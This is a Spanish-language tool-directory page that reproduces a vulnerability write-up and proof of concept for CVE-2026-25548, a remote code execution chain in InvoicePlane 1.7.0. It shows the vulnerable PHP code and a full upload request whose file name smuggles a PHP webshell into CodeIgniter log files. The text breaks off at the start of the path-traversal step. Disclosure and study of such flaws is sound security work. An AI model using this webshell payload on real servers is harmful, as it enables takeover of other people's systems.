Skip to content
KitploitKITPLOIT
HerramientasBlog
Log in
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Herramientas/GitHubGitHub/lagathos/cve-2026-25548
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónRed Teaming
GitHublagathos/cve-2026-25548

CVE-2026-25548

# Análisis técnico detallado y prueba de concepto para CVE-2026-25548, un RCE crítico en InvoicePlane 1.7.0 mediante LFI y envenenamiento de logs, incluyendo cadena de ataque, peticiones PoC y análisis de impacto.

Ver Repositorio
19hace 6 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-25548 — Ejecución Remota de Código en InvoicePlane 1.7.0

Vulnerabilidad: Ejecución Remota de Código mediante Inclusión Local de Archivos + Envenenamiento de Registros

Producto: InvoicePlane

Versión afectada: 1.7.0 (y probablemente versiones anteriores)

Gravedad: Crítica

Puntuación CVSS 3.1: 9.1 (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H)

CWE: CWE-98, CWE-117, CWE-94

Descubierto por: Leonidas Agathos

Fecha del informe: 2026-01-31


Tabla de contenidos

  • Descripción
  • Detalles de la vulnerabilidad
    • 1. Inclusión Local de Archivos (LFI)
    • 2. Envenenamiento de Registros mediante el Nombre de Archivo de Carga
  • Cadena de ataque
  • Prueba de concepto
    • Paso 1 — Envenenamiento de Registros
    • Paso 2 — Configurar LFI
    • Paso 3 — Activar RCE
    • Paso 4 — Shell inversa
  • Impacto
  • Componentes afectados
  • Cronología

Descripción

Una cadena de vulnerabilidades crítica en InvoicePlane 1.7.0 permite a un administrador autenticado lograr Ejecución Remota de Código (RCE) en el servidor subyacente. El ataque combina dos debilidades:

  1. Inclusión Local de Archivos (LFI) — La configuración de plantilla de factura pública acepta rutas de archivo arbitrarias sin validación, lo que permite la inclusión de archivos fuera del directorio de plantillas previsto.
  2. Envenenamiento de Registros — Los nombres de archivo de carga que contienen caracteres de traversal de rutas se escriben literalmente en los archivos de registro .php de CodeIgniter, lo que permite la inyección de código PHP arbitrario.

Cuando se encadenan, un atacante con acceso de administrador puede lograr el compromiso total del servidor como usuario del servidor web. La activación final de RCE es no autenticada (URL de factura pública).


Detalles de la vulnerabilidad

1. Inclusión Local de Archivos (LFI)

AtributoValor
Archivoapplication/modules/guest/controllers/View.php
Líneas85, 191
Parámetropublic_invoice_template (configuración de base de datos)
CWECWE-98: Control inadecuado del nombre de archivo para declaración Include/Require

Código vulnerable (View.php:85):

$this->load->view('invoice_templates/public/' .
    get_setting('public_invoice_template') . '.php', $data);

Código vulnerable (View.php:191):

$this->load->view('quote_templates/public/' .
    get_setting('public_quote_template') . '.php', $data);

Las configuraciones public_invoice_template y public_quote_template se recuperan de la base de datos y se concatenan directamente en una ruta de archivo pasada a load->view() de CodeIgniter (que se resuelve en include() de PHP). No hay validación para:

  • Prevenir secuencias de traversal de directorios (../)
  • Permitir solo nombres de plantilla de una lista blanca
  • Confirmar que el archivo existe dentro del directorio de plantillas esperado

Un administrador puede establecer este valor en cualquier ruta del sistema de archivos, limitado únicamente por la extensión .php que se agrega automáticamente.


2. Envenenamiento de Registros mediante el Nombre de Archivo de Carga

AtributoValor
Archivoapplication/modules/upload/controllers/Upload.php
Líneas178–184
ParámetroNombre de archivo de carga (datos de formulario multipart HTTP)
CWECWE-117: Neutralización inadecuada de salida para registros

Código vulnerable (Upload.php:178-184):

private function sanitize_file_name(string $filename): string
{
    if (str_contains($filename, '..')
        || str_contains($filename, '/')
        || str_contains($filename, '\\')
        || str_contains($filename, "\0")) {
        log_message('error', 'Path traversal attempt detected in filename: ' . $filename);
        return '';
    }
    // ...
}

Cuando un nombre de archivo activa la verificación de traversal de rutas, el nombre de archivo crudo y sin sanitizar se escribe directamente en el archivo de registro. Los archivos de registro de CodeIgniter:

  • Usan la extensión .php: application/logs/log-YYYY-MM-DD.php
  • Comienzan con <?php defined('BASEPATH') OR exit('No direct script access allowed'); ?>
  • Por lo tanto, son archivos PHP válidos que se ejecutan cuando se incluyen

Un atacante que incrusta <?php system($_GET[1]); ?> en el nombre de archivo hace que esa carga útil se escriba en el registro y luego se ejecute mediante la LFI.


Cadena de ataque

[Usuario autenticado]  →  Cargar nombre de archivo malicioso  →  PHP inyectado en el archivo de registro
[Administrador]        →  Establecer configuración de plantilla  →  LFI apunta al archivo de registro
[Cualquiera]           →  Visitar URL de factura pública    →  RCE
PasoRequisito
Envenenamiento de RegistrosUsuario autenticado con acceso de carga
Configuración de LFICuenta de administrador
Activación de RCENo autenticada (URL de factura pública)

Prueba de concepto

Paso 1 — Envenenamiento de Registros

Envíe una solicitud de carga de archivo con un webshell PHP incrustado en el nombre de archivo. La verificación de traversal de rutas se activará y escribirá el nombre de archivo crudo (incluida la carga útil PHP) en el archivo de registro.

Solicitud (mediante Burp Suite):

POST /index.php/upload/upload_file/3/13phvCzZiPyOXKYeJBk084jHL5NTGn9d HTTP/1.1
Host: 172.25.0.12
Cookie: ip_csrf_cookie=...; ip_session=...
Content-Type: multipart/form-data; boundary=----Boundary

------Boundary
Content-Disposition: form-data; name="_ip_csrf"

<csrf_token>
------Boundary
Content-Disposition: form-data; name="file"; filename="..<?php system($_GET[1]); ?>.jpg"
Content-Type: image/jpeg

test
------Boundary--

El servidor rechaza la carga (upload_error_invalid_extension) pero la entrada de registro ya está escrita:

Resultado en application/logs/log-2026-01-31.php:

ERROR - 2026-01-31 10:35:06 --> Path traversal attempt detected in filename: ..<?php system($_GET[1]); ?>.jpg

Navegue a la sección Adjuntos de una factura y haga clic en Agregar archivos para llegar al endpoint de carga.

Paso 1a - Punto de entrada de carga de adjuntos de factura

Paso 1b - Inyección de carga útil PHP mediante nombre de archivo malicioso

Paso 1c - Archivo de registro que muestra la carga útil PHP inyectada


Paso 2 — Configurar LFI

Como administrador, establezca la configuración public_invoice_template para que apunte al archivo de registro de hoy mediante una carga útil de traversal de rutas. El cargador de vistas de CodeIgniter agrega .php automáticamente.

Solicitud (mediante Burp Suite):

Descargar herramienta